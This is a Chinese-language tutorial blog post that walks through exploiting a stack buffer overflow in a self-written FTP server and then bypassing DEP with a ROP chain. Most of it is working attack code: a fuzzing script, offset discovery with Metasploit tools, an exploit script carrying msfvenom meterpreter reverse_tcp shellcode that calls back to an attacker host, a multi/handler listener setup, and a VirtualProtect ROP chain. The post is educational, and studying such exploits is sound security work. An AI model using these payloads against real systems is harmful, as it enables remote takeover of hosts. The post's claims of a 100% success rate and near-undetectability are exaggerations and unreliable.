通常情況下棧溢出可能造成的后果有兩種,一類是本地提權另一類則是遠程執行任意命令,通常C/C++並沒有提供智能化檢查用戶輸入是否合法的功能,同時程序編寫人員在編寫代碼時也很難始終檢查棧是否會發生溢出,這就給惡意代碼的溢出提供了的條件,利用溢出,攻擊者可以控制程序的執行流,從而控制程序的執行過程並實施惡意行為,而微軟的DEP保護機制則可使緩沖區溢出失效,不過利用ROP反導技術依然是可被繞過的,接下來將具體分析如何利用ROP技術繞過DEP保護機制。
課件下載: https://pan.baidu.com/s/1a7H8Hfr1wFPtM3_Xr5HZfg 提取碼:dwoj
緩沖區溢出的常用攻擊方法是將惡意 shellcode 注入到遠程服務的堆棧中,並利用 jmp esp 等跳板指令跳轉到堆棧中執行惡意的代碼片段,從而拿到目標主機的控制權。為了演示攻擊的具體手法以及二進制漏洞挖掘的思路,這里作者編寫了遠程服務程序FTP Server該服務運行后會在本機開啟 0.0.0.0:9999 端口,你可以通過nc命令遠程連接到服務器並可以執行一些命令.

如上圖就是運行后的FTP服務器,通過nc工具鏈接服務端的地址nc 192.168.1.8 9999 可以得到一個FTP交互環境,此時可以執行send | hello world命令,來向服務器發送一段字符串,同時服務器會返回給你Data received successfully這樣的提示信息,好了我們開始分析程序並挖掘漏洞吧。
模糊測試與分析
要執行模糊測試的第一步就是要確定發送數據包中包頭的格式,這里我們可以使用Wireshark工具監控TCP流,將源地址設置為192.168.1.2,目標地址設置為 192.168.1.8,監控並從中得到數據傳輸的格式信息,過濾語句 tcp.stream and ip.src_host==192.168.1.2 and ip.dst_host==192.168.1.8 該語句可以精確的過濾出我們所需要的數據。

上圖中我們可以直觀的看出,數據包的格式僅僅是 send | hello lyshark 並沒有添加任何的特殊符號,更沒有加密傳輸,接下來就是要驗證send函數是否存在緩沖區溢出了,這里我們需要編寫一個模糊測試腳本來對目標服務進行測試,腳本內容如下,Python 腳本執行后會對目標FTP服務進行發包測試。
# coding:utf-8
import socket,time
def initCount(count,Inc):
buffer = ["A"]
while len(buffer)<=50:
buffer.append("A" * count)
count = count + Inc
return buffer
def Fuzz(addr,port,buffer):
try:
for string in buffer:
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = sock.connect((addr,port))
sock.recv(1024)
command = b'send |/.:/' + string.encode()
sock.send(command)
sock.close()
time.sleep(1)
print('Fuzzing Pass with {} bytes'.format(len(string)))
except Exception:
print('\n This buffer cannot exceed the maximum {} bytes'.format(len(string)))
if __name__ == "__main__":
# initCount 10 說明從0開始遞增,每次遞增100
buff = initCount(0,100)
Fuzz("192.168.1.8",9999,buff)
上方的代碼的構造需要具體分析數據包的形式得到,在漏洞模糊測試中上方代碼中間部分的交互需要根據不同程序的交互方式進行修改與調整,這里測試腳本執行后當緩沖區填充為2200bytes時程序崩潰了,說明該程序的send函數確實存在緩沖區溢出漏洞,其次該程序緩沖區的大小應在2200字節以內。

經過模糊測試我們可知該函數確實存在漏洞,為了能讓讀者更加深入的理解緩沖區發生的原因和定位技巧,我將具體分析一下其匯編代碼的組織形式,這里為了方便演示我將在攻擊主機進行逆向分析。
首先打開X64dbg將FTP程序載入並運行,接着我們需要使用Netcat鏈接本機 nc 192.168.1.2 9999 並進入一個可交互的shell環境中,然后輸入待發送的字符串不要回車。

接着我們回到X64DBG按下ctrl + G在recv函數上下一個斷點,因為程序接收用戶輸入的功能需要使用recv函數的,所以這里我們直接下斷,然后運行程序,發送數據后會被斷下,我們直接回到程序領空,會看到以下代碼片段,這里我們需要在 0040148D 這個內存地址處下一個F2斷點,然后取消系統領空中recv上的斷點。

通過再次發送send | hello lyshark程序會被斷下,我們單步向下跟進會發現下面的代碼片段,這里正是我們的send函數所執行的區域,此處我們記下這個內存地址 004017D5 然后關閉X64dbg

打開IDA Pro加載程序並按下G鍵,我們來到剛剛的內存地址處,這里已經給大家分析好了,關鍵的變量是分配了3000個字節的緩沖區,直接傳遞給了_Function3函數。

接着我們繼續跟進這個call _Function3函數,會發現子過程內部並沒有對接收緩沖區大小進行嚴格的過濾,強制將3000byte的數據拷貝到2024byte的緩沖區中,此時緩沖區就會發生溢出,從而導致堆棧失衡,程序崩潰,這和上方的模糊測試腳本得到的結果是差不多的。

為了能夠更加精確的計算出緩沖區的具體大小,我們還需使用Metasploit中集成的兩個工具,該工具默認需要一起配合使用,其原理就是利用了隨機字符串計算當前字符串距離緩沖區首部的偏移,通過使用唯一字符串法,我們可以快速定位到當前緩沖區的實際大小,要使用Metasploit的工具需要先配置好環境變量,你可以先執行以下操作,然后再利用pattern_create.rb生成長度為3000字節的字串。
.-.
.-'``(|||)
,`\ \ `-`. 88 88
/ \ '``-. ` 88 88
.-. , `___: 88 88 88,888, 88 88 ,88888, 88888 88 88
(:::) : ___ 88 88 88 88 88 88 88 88 88 88 88
`-` ` , : 88 88 88 88 88 88 88 88 88 88 88
\ / ,..-` , 88 88 88 88 88 88 88 88 88 88 88
`./ / .-.` '88888' '88888' '88888' 88 88 '8888 '88888'
`-..-( )
`-`
Linux Version 4.4.0-17763-Microsoft, Compiled #253-Microsoft Mon Dec 31 17:49:00 PST 2018
Four 2.3GHz Intel i5 Processors, 128TB RAM, 18408 Bogomips Total Dell
lyshark@Dell:~$ export PATH=/opt/metasploit-framework/embedded/bin:$PATH
lyshark@Dell:~$ cd /opt/metasploit-framework/embedded/framework/tools/exploit/
lyshark@Dell:~$ bundle install
lyshark@Dell:~$ ./pattern_create.rb -l 3000
將生成的字符串拷貝到我們的Python測試腳本中。
# coding:utf-8
import socket
host = "192.168.1.8"
port = 9999
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((host,port))
command = b'send |/.:/'
buffer = b '<字符串填充到這里>'
sock.send(command + buffer)
sock.close()
遠程主機運行FTP服務程序,然后X64DBG附加,攻擊主機運行上方腳本,會發現遠程主機中調試器發生了異常,當前EIP地址是 0x6F43376F

接着我們可以通過使用Metasploit中提供的第二個工具 pattern_offset.rb 計算出當前緩沖區的實際大小是 2002 接着就可以寫出漏洞利用的基礎框架,其中的eip是一個未知數,我們暫且先用BBBB來填充,BBBB所對應的是 42424242
lyshark@Dell:~$ cd /opt/metasploit-framework/embedded/framework/tools/exploit/
lyshark@Dell:~$ ./pattern_offset.rb -q 0x6F43376F -l 3000
[*] Exact match at offset 2002
lyshark@Dell:~$ vim payload.py
# coding:utf-8
import socket
host = "192.168.1.8"
port = 9999
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((host,port))
command = b"send |/.:/"
buffer = b'A' * 2002
eip = b'BBBB'
nops = b'\x90' * 50
sock.send(command + buffer + eip + nops)
sock.close()
lyshark@Dell:~$ python3 payload.py

如上圖所示,當我們再次執行這個溢出腳本時,發現FTP服務的EIP已經被替換成了42424242而堆棧中也已經被90909090就是Nop雪橇全部填充滿了,說明我們預測的地址是完全正確的。
尋找跳板指令(溢出測試)
在上面環節中我們已經確定了填充物的大小,但程序每次運行其棧地址都是隨機變化的,這是因為堆棧空間默認是由操作系統調度分配的每次分配都不會一致,在Windows漏洞利用過程中,由於程序的裝入和卸載都是動態分配的,所以Windows進程的函數棧幀可能產生移位,即ShellCode在內存中的地址是動態變化的,因此需要Exploit(漏洞利用代碼)在運行時動態定位棧中的ShellCode地址。
此時我們需要尋找一個跳板,能夠動態的定位棧地址的位置,在這里我們使用jmp esp作為跳板指針,其基本思路是,使用內存中任意一個jmp esp地址覆蓋返回地址,函數返回后被重定向去執行內存中jmp esp指令,而ESP寄存器指向的地址正好是我們布置好的nop雪橇的位置,此時EIP執行流就會順着nop雪橇滑向我們構建好的惡意代碼,從而觸發我們預先布置好的ShellCode代碼。
選擇模塊: 首先通過x64dbg調試器附加FTP程序,然后選擇符號菜單,這里可以看到該服務程序加載了非常多的外部DLL庫,我們可以隨意選擇一個動態鏈接庫跳轉過去,這里為了通用我就選擇 network.dll 這個模塊作為演示,模塊的選擇是隨機的,只要模塊內部存在 jmp esp 指令或者是能夠跳轉到nop雪橇位置的任何指令片段均可被利用。

搜索跳板: 接着在調試器的反匯編界面中,按下ctrl + f搜索該模塊中的jmp esp指令,因為這個指令地址是固定的,我們就將EIP指針跳轉到這里,又因esp寄存器存儲着當前的棧地址,所以剛好跳轉到我們布置好的nop雪橇的位置上,如下圖我們就選擇 625011ED 這個代碼片段。

構建利用代碼並測試: 既然所有條件都滿足了接下來就是生成漏洞利用代碼了,這里我們可以通過MSF提供的msfvenom命令快速的生成一個有效載荷,並將其與我們得到的內存地址進行組裝。
lyshark@Dell:~$ sudo msfvenom -a x86 --platform Windows \
-p windows/meterpreter/reverse_tcp -b '\x00' lhost=192.168.1.2 lport=8888 -f python
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 368 (iteration=0)
x86/shikata_ga_nai chosen with final size 368
Payload size: 368 bytes
Final size of python file: 1802 bytes
將生成的ShellCode與Python攻擊腳本結合,下方的攻擊目標主機是 192.168.1.8:9999
# coding:utf-8
import socket
host = "192.168.1.8"
port = 9999
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((host,port))
command = b"send |/.:/" # 發送數據包頭
buffer = b'A' * 2002 # 實際緩沖區填充物
eip = b'\xED\x11\x50\x62' # 此處就是EIP跳轉地址地址應該反寫
nops = b'\x90' * 50 # nop雪橇的位置
buf = b""
buf += b"\xbb\xbe\xa1\x4e\x3b\xda\xcf\xd9\x74\x24\xf4\x58\x2b"
buf += b"\xc9\xb1\x56\x83\xe8\xfc\x31\x58\x0f\x03\x58\xb1\x43"
buf += b"\xbb\xc7\x25\x01\x44\x38\xb5\x66\xcc\xdd\x84\xa6\xaa"
buf += b"\x96\xb6\x16\xb8\xfb\x3a\xdc\xec\xef\xc9\x90\x38\x1f"
buf += b"\x7a\x1e\x1f\x2e\x7b\x33\x63\x31\xff\x4e\xb0\x91\x3e"
buf += b"\x81\xc5\xd0\x07\xfc\x24\x80\xd0\x8a\x9b\x35\x55\xc6"
buf += b"\x27\xbd\x25\xc6\x2f\x22\xfd\xe9\x1e\xf5\x76\xb0\x80"
buf += b"\xf7\x5b\xc8\x88\xef\xb8\xf5\x43\x9b\x0a\x81\x55\x4d"
buf += b"\x43\x6a\xf9\xb0\x6c\x99\x03\xf4\x4a\x42\x76\x0c\xa9"
buf += b"\xff\x81\xcb\xd0\xdb\x04\xc8\x72\xaf\xbf\x34\x83\x7c"
buf += b"\x59\xbe\x8f\xc9\x2d\x98\x93\xcc\xe2\x92\xaf\x45\x05"
buf += b"\x75\x26\x1d\x22\x51\x63\xc5\x4b\xc0\xc9\xa8\x74\x12"
buf += b"\xb2\x15\xd1\x58\x5e\x41\x68\x03\x36\xa6\x41\xbc\xc6"
buf += b"\xa0\xd2\xcf\xf4\x6f\x49\x58\xb4\xf8\x57\x9f\xcd\xef"
buf += b"\x67\x4f\x75\x7f\x96\x70\x85\xa9\x5d\x24\xd5\xc1\x74"
buf += b"\x45\xbe\x11\x78\x90\x2a\x18\xee\xdb\x02\x1d\xec\xb3"
buf += b"\x50\x1e\xd2\xfb\xdd\xf8\x42\xac\x8d\x54\x23\x1c\x6d"
buf += b"\x05\xcb\x76\x62\x7a\xeb\x78\xa9\x13\x86\x96\x07\x4b"
buf += b"\x3f\x0e\x02\x07\xde\xcf\x99\x6d\xe0\x44\x2b\x91\xaf"
buf += b"\xac\x5e\x81\xd8\xca\xa0\x59\x19\x7f\xa0\x33\x1d\x29"
buf += b"\xf7\xab\x1f\x0c\x3f\x74\xdf\x7b\x3c\x73\x1f\xfa\x74"
buf += b"\x0f\x16\x68\x38\x67\x57\x7c\xb8\x77\x01\x16\xb8\x1f"
buf += b"\xf5\x42\xeb\x3a\xfa\x5e\x98\x96\x6f\x61\xc8\x4b\x27"
buf += b"\x09\xf6\xb2\x0f\x96\x09\x91\x13\xd1\xf5\x67\x3c\x7a"
buf += b"\x9d\x97\x7c\x7a\x5d\xf2\x7c\x2a\x35\x09\x52\xc5\xf5"
buf += b"\xf2\x79\x8e\x9d\x79\xec\x7c\x3c\x7d\x25\x20\xe0\x7e"
buf += b"\xca\xf9\x13\x04\xa3\xfe\xd4\xf9\xad\x9a\xd5\xf9\xd1"
buf += b"\x9c\xea\x2f\xe8\xea\x2d\xec\x4f\xe4\x18\x51\xf9\x6f"
buf += b"\x62\xc5\xf9\xa5"
sock.send(command + buffer + eip + nops + buf)
sock.close()
最后在msf控制主機,啟動一個偵聽器,等待我們的攻擊腳本運行。
lyshark@Dell:~$ sudo msfconsole -q
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.2
msf5 exploit(multi/handler) > set lport 8888
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.2:8888
一切准備就緒之后我們運行攻擊腳本,即可得到目標主機的控制權,此時目標主機已經淪為肉雞任人宰割。

小總結: 上方我們所演示的就是典型的基於內存的攻擊技術,該技術的優勢就是幾乎很難被發現,100%的利用成功率,內存攻擊技術就是利用了軟件的安全漏洞,該漏洞的產生表面上是開發人員沒有對緩沖區進行合理的檢測,但其根本原因是,現代計算機在實現圖靈模型時,沒有在內存中嚴格區分數據和指令,這就存在程序的外部輸入很有可能被當作指令來執行,當今任何操作系統都很難根除這種設計缺陷(圖靈機特性),只能在某種程度上通過引入特殊的技術(DEP保護機制)去阻止黑客的成功利用。
ROP反導編程繞過DEP保護
前期提到過,緩沖區溢出的根本原因就是錯誤的將用戶輸入的惡意數據當作了指令來執行了從而導致發生溢出,因此微軟推出了基於軟件實現的DEP保護機制,其原理就是強制將堆棧屬性設置為NX不可執行,而在后期AMD也首次推出了基於硬件實現的CPU處理器,從而很大程度上解決了這類溢出事件的發生。
而隨着DEP技術的出現,黑客們就研究出了另一種繞過的措施,就是本次所提到的ROP返回導向編程,在微軟系統中有這樣的一些函數他們的作用就是可以將堆棧設置為可讀可寫可執行屬性(VirtualProtect)之所以會出現這些函數是因為,有些開發人員需要在堆棧中執行代碼,所以也不可能將這樣的功能徹底去掉。
既然無法直接執行堆棧上的代碼,但是代碼段依然是可以被執行的,我們可以經過調用末尾帶有RET指令的微小片段,而他們會返回到棧,並再次調用令一塊片段,以此類推,眾多的小片段就可以完成調用 VirtualProoect函數的功能,從而將當前堆棧設置為可執行,這樣堆棧中的代碼就可以被執行下去。
需要注意:在構建ROP鏈的時候,如果ret返回之前是一個影響堆棧的指令,那么我們就需要在ROP堆棧鏈的下方手動填充一些墊片來中和掉pop等指令對堆棧的影響,因為下一條指令也會從堆棧中取值,如果不中和掉這些無用代碼的影響則ROP鏈將無法被正常執行,比如下面這條代碼 pop ebp 它影響了堆棧,如果不是我們所需要調用的參數,那么我們就在他的下面填充一些填充物來中和一下。

這里所說的繞過DEP保護不完整,不是繞過,是找一些沒有開啟DEP保護的模塊作為跳板,如下截圖,我們必須找到可利用的DLL模塊才可以,例如代碼中我故意編譯進去了一個msvcr71.dll模塊,這個模塊就沒有開啟DEP保護,那么就可被利用,你可以自己寫工具檢測,也可以使用mona.py框架自動化發現。

這里我已經將ROP鏈構建好了,當然手動構建並不是最好的選擇,你可以使用mona.py插件自動化完成這個過程,mona.py 插件是專門用戶構建有效載荷的工具,其構建語句是 !mona.py rop -m *.dll -cp nonull 這里我就不在羅嗦了。
# coding:utf-8
import socket
import struct
host = "192.168.1.8"
port = 9999
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((host,port))
command = b"send |/.:/" # 發送數據包頭
buffer = b'A' * 2002 # 實際緩沖區填充物
nops = b'\x90' * 50 # nop雪橇的位置
buf = b""
buf += b"\xbb\xbe\xa1\x4e\x3b\xda\xcf\xd9\x74\x24\xf4\x58\x2b"
buf += b"\xc9\xb1\x56\x83\xe8\xfc\x31\x58\x0f\x03\x58\xb1\x43"
buf += b"\xbb\xc7\x25\x01\x44\x38\xb5\x66\xcc\xdd\x84\xa6\xaa"
buf += b"\x96\xb6\x16\xb8\xfb\x3a\xdc\xec\xef\xc9\x90\x38\x1f"
buf += b"\x7a\x1e\x1f\x2e\x7b\x33\x63\x31\xff\x4e\xb0\x91\x3e"
buf += b"\x81\xc5\xd0\x07\xfc\x24\x80\xd0\x8a\x9b\x35\x55\xc6"
buf += b"\x27\xbd\x25\xc6\x2f\x22\xfd\xe9\x1e\xf5\x76\xb0\x80"
buf += b"\xf7\x5b\xc8\x88\xef\xb8\xf5\x43\x9b\x0a\x81\x55\x4d"
buf += b"\x43\x6a\xf9\xb0\x6c\x99\x03\xf4\x4a\x42\x76\x0c\xa9"
buf += b"\xff\x81\xcb\xd0\xdb\x04\xc8\x72\xaf\xbf\x34\x83\x7c"
buf += b"\x59\xbe\x8f\xc9\x2d\x98\x93\xcc\xe2\x92\xaf\x45\x05"
buf += b"\x75\x26\x1d\x22\x51\x63\xc5\x4b\xc0\xc9\xa8\x74\x12"
buf += b"\xb2\x15\xd1\x58\x5e\x41\x68\x03\x36\xa6\x41\xbc\xc6"
buf += b"\xa0\xd2\xcf\xf4\x6f\x49\x58\xb4\xf8\x57\x9f\xcd\xef"
buf += b"\x67\x4f\x75\x7f\x96\x70\x85\xa9\x5d\x24\xd5\xc1\x74"
buf += b"\x45\xbe\x11\x78\x90\x2a\x18\xee\xdb\x02\x1d\xec\xb3"
buf += b"\x50\x1e\xd2\xfb\xdd\xf8\x42\xac\x8d\x54\x23\x1c\x6d"
buf += b"\x05\xcb\x76\x62\x7a\xeb\x78\xa9\x13\x86\x96\x07\x4b"
buf += b"\x3f\x0e\x02\x07\xde\xcf\x99\x6d\xe0\x44\x2b\x91\xaf"
buf += b"\xac\x5e\x81\xd8\xca\xa0\x59\x19\x7f\xa0\x33\x1d\x29"
buf += b"\xf7\xab\x1f\x0c\x3f\x74\xdf\x7b\x3c\x73\x1f\xfa\x74"
buf += b"\x0f\x16\x68\x38\x67\x57\x7c\xb8\x77\x01\x16\xb8\x1f"
buf += b"\xf5\x42\xeb\x3a\xfa\x5e\x98\x96\x6f\x61\xc8\x4b\x27"
buf += b"\x09\xf6\xb2\x0f\x96\x09\x91\x13\xd1\xf5\x67\x3c\x7a"
buf += b"\x9d\x97\x7c\x7a\x5d\xf2\x7c\x2a\x35\x09\x52\xc5\xf5"
buf += b"\xf2\x79\x8e\x9d\x79\xec\x7c\x3c\x7d\x25\x20\xe0\x7e"
buf += b"\xca\xf9\x13\x04\xa3\xfe\xd4\xf9\xad\x9a\xd5\xf9\xd1"
buf += b"\x9c\xea\x2f\xe8\xea\x2d\xec\x4f\xe4\x18\x51\xf9\x6f"
buf += b"\x62\xc5\xf9\xa5"
rop = struct.pack ('<L',0x7c349614) # ret
rop += struct.pack('<L',0x7c34728e) # pop eax
rop += struct.pack('<L',0xfffffcdf) #
rop += struct.pack('<L',0x7c379c10) # add ebp,eax
rop += struct.pack('<L',0x7c34728e) # pop eax
rop += struct.pack('<L',0xfffffdff) # value = 0x201
rop += struct.pack('<L',0x7c353c73) # neg eax
rop += struct.pack('<L',0x7c34373a) # pop ebx
rop += struct.pack('<L',0xffffffff) #
rop += struct.pack('<L',0x7c345255) # inc ebx
rop += struct.pack('<L',0x7c352174) # add ebx,eax
rop += struct.pack('<L',0x7c344efe) # pop edx
rop += struct.pack('<L',0xffffffc0) # 0x40h
rop += struct.pack('<L',0x7c351eb1) # neg edx
rop += struct.pack('<L',0x7c36ba51) # pop ecx
rop += struct.pack('<L',0x7c38f2f4) # &writetable
rop += struct.pack('<L',0x7c34a490) # pop edi
rop += struct.pack('<L',0x7c346c0b) # ret (rop nop)
rop += struct.pack('<L',0x7c352dda) # pop esi
rop += struct.pack('<L',0x7c3415a2) # jmp [eax]
rop += struct.pack('<L',0x7c34d060) # pop eax
rop += struct.pack('<L',0x7c37a151) # ptr to virtualProtect()
rop += struct.pack('<L',0x625011ed) # jmp esp 此處是原始EIP的地址
sock.send(command + buffer + rop + nops + buf)
sock.close()
此時我們回到被攻擊主機,X64DBG附加調試,然后再第一條鏈上下一個斷點 0x7c349614 然后運行攻擊腳本,觀察堆棧的變化,你就能一目了然。

如下圖就是運行后的堆棧,你可以清晰的看到堆棧,棧頂的41414141就是我們填充的合法指令,而接着下方就是我們構建的ROP鏈,當執行完這條鏈的時候此時的堆棧就會被賦予可執行權限,最后調用 0x625011ed也就是jmp esp跳轉到下方的nop墊片位置,此時就會順利的執行我們所布置好的后門。

原創作品:轉載請加出處,您添加出處,是我創作的動力!
